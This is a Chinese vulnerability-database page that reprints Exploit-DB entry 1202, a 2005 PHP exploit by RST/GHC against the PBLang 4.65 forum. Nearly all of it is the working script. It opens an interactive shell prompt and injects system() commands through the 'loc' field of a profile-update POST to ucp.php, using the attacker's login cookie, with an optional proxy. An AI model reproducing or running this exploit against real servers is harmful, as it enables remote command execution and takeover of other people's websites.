PBLang 4.65 – Remote Command Execution (2)

PBLang 4.65 – Remote Command Execution (2)

漏洞ID 1055374 漏洞类型
发布时间 2005-09-07 更新时间 2005-09-07
图片[1]-PBLang 4.65 – Remote Command Execution (2)-安全小百科CVE编号 N/A
图片[2]-PBLang 4.65 – Remote Command Execution (2)-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1202
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
<?php
#
|    ##############################################    |
|    # PBLang <= 4.65 remote commands exec exploit#    |
|    # tested on 4.65                             #    |
|    # (c)oded by Pengo 2005 RST/GHC              #    |
|    # http://rst.void.ru                         #    |
|    # http://ghc.ru                              #    |
|    ##############################################    |
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING! This exploit is successfully work when magic_quotes_rpc off =(
# D:httpdphp>php.exe ..wwwr57pblang465.php localhost /pbl/ "pblcookie732128=Pe
# ng0; PBLsecid=a4c2f845c002ac54f5751440647f3c91;" Peng0 PrSrS
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ARGV = $_SERVER['argv'];
global $ARGV;
if(count($ARGV) == 0)
{
 echo base64_decode("3fLu8iDx6vDo7/Ig5O7r5uXtIOH78vwg5+Dv8/nl7SDo5yDq7uzg7eTt7u
kg8fLw7uroLiDR7eD34OvgIO3z5u3uIOfg8OXj6PHy8Ojw7uLg8vzx/yDoDQroIOfg6+7j6O3o8vzx/
yDt4CD25evl4u7sIPTu8PPs5Swg5+Dy5ewg7fPm7e4g7+7x7O7y8PLl8vwg6vPq6DogcGJsY29va2llI
FBCTHNlY2lkLg0KxfHr6CDi6uv+9+Xt+yBtYWdpY19xdW90ZXNfcnBjIPHq8Ojv8iDt5SD08+3q9uju7
ejw8+XyLg==");
 exit;
}

if (count($ARGV) < 5)
{
 echo '############################################################
     PBLang <=4.65 remote command execution exploit
        by RST/GHC // rst.void.ru / ghc.ru //
############################################################
 usage:
 r57pblang465.php [URL] [DIR] [COOKIE] [LOGIN] [PASS] [PROXI:PORT]
 params:
  [URL] - server url e.g. www.host.ru
  [DIR] - directory where PBLang installed e.g. /forum/ or /
  [COOKIE] - e.g. "pblcookie732128=Peng0; PBLsecid=a4c2f845c002ac54f5751440647f3c91;"
  [NAME] - your account name
  [PASS] - your account pass
  [PROXI:PORT] - e.g. "130.208.18.30:3128" (optional)
############################################################';
 exit;
}

$serv   = $ARGV[1];
$dir    = $ARGV[2];
$cookie = $ARGV[3];
$login  = $ARGV[4];
$pass   = $ARGV[5];

if(isset($ARGV[6]))
{
 $ARGV[6] = parse_url($ARGV[6]);
 $host = $ARGV[6]['host'];
 $port = $ARGV[6]['port'];
} else {
 $host = $serv;
 $port = '80';
}

function create_socket($hostname,$portt,$post)
{
 $socket = @fsockopen($hostname, $portt, $errno, $errstr, 60)
            or die ("n[-] CONNECT FAILEDrn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rn");
 $answer = '';
 fwrite($socket,$post);
 while (!feof($socket))
 {
  $answer .= fgets($socket, 128);
 }
 fclose($socket);
 return $answer;
}

$a = 1;

print "n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
print "nexample 'close'n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";

$din = fopen('php://stdin','r');

while ($a !== 0)
{
 print "shell>"; $cmd = fgets($din, 100);
 if(!stristr($cmd,'close'))
 {
  echo $cmd."n";

  $query = "user=";
  $query .= $login;
  $query .= "&pass=";
  $query .= $pass;
  $query .= "&pass2=";
  $query .= $pass;
  $query .= "&oldpass=";
  $query .= $pass;
  $query .= "&[email protected]&emhide=hide";
  $query .= "&realname=&alias=".$login."&msn=&icq=&aim=&yahoo=&qq=&web=http%3A%2F%2F";
  $query .= "&loc=%22%3B+system%28%22echo%20%5F%45%4E%54%45%52%5F%3B%20";
  $query .= $cmd;
  $query .= "%3B%20%5F%51%55%49%54%5F%22%29%3B+echo+%22";
  $query .= "&pt=rst.ghc%21&av=none&webav=&sig=&regcode=1125428486&lang=en&accept=1&Submit=%CE%F2%EF%F0%E0%E2%E8%F2%FC";

  $post = "POST http://".$serv.$dir."ucp.php?id=2&user=".$login." HTTP/1.0rnHost: ".$serv."rnContent-Type: application/x-www-form-urlencodedrnUser-Agent: Mozilla/4.0rnCookie: ".$cookie."rnContent-Length: ".strlen($query)."rnrn$query";

  $answer = create_socket($host,$port,$post);
/*
  $fp = fopen('lol.htm','w');
  fwrite($fp,$answer);
  fclose($fp);
*/
  if (eregi("_ENTER_(.*)_QUIT_" , $answer, $cut))
  {
   $a = 1;
   echo $cut[1];
   echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rn";
  } else {
    echo "rn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
    echo "[-] EXPLOIT FAILDrn";
    echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rn";
   $a = 0;
  }
 } else {
  echo "rn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
  echo "[-] EXPLOIT CLOSEDrn";
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rn";
  $a = 0;
  fclose($din);
 }
}

?>

# milw0rm.com [2005-09-07]

相关推荐: Microsoft Site Server 3.0 Information Disclosure/Data Modification Vulnerability

Microsoft Site Server 3.0 Information Disclosure/Data Modification Vulnerability 漏洞ID 1102469 漏洞类型 Design Error 发布时间 2002-01-29 更新…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享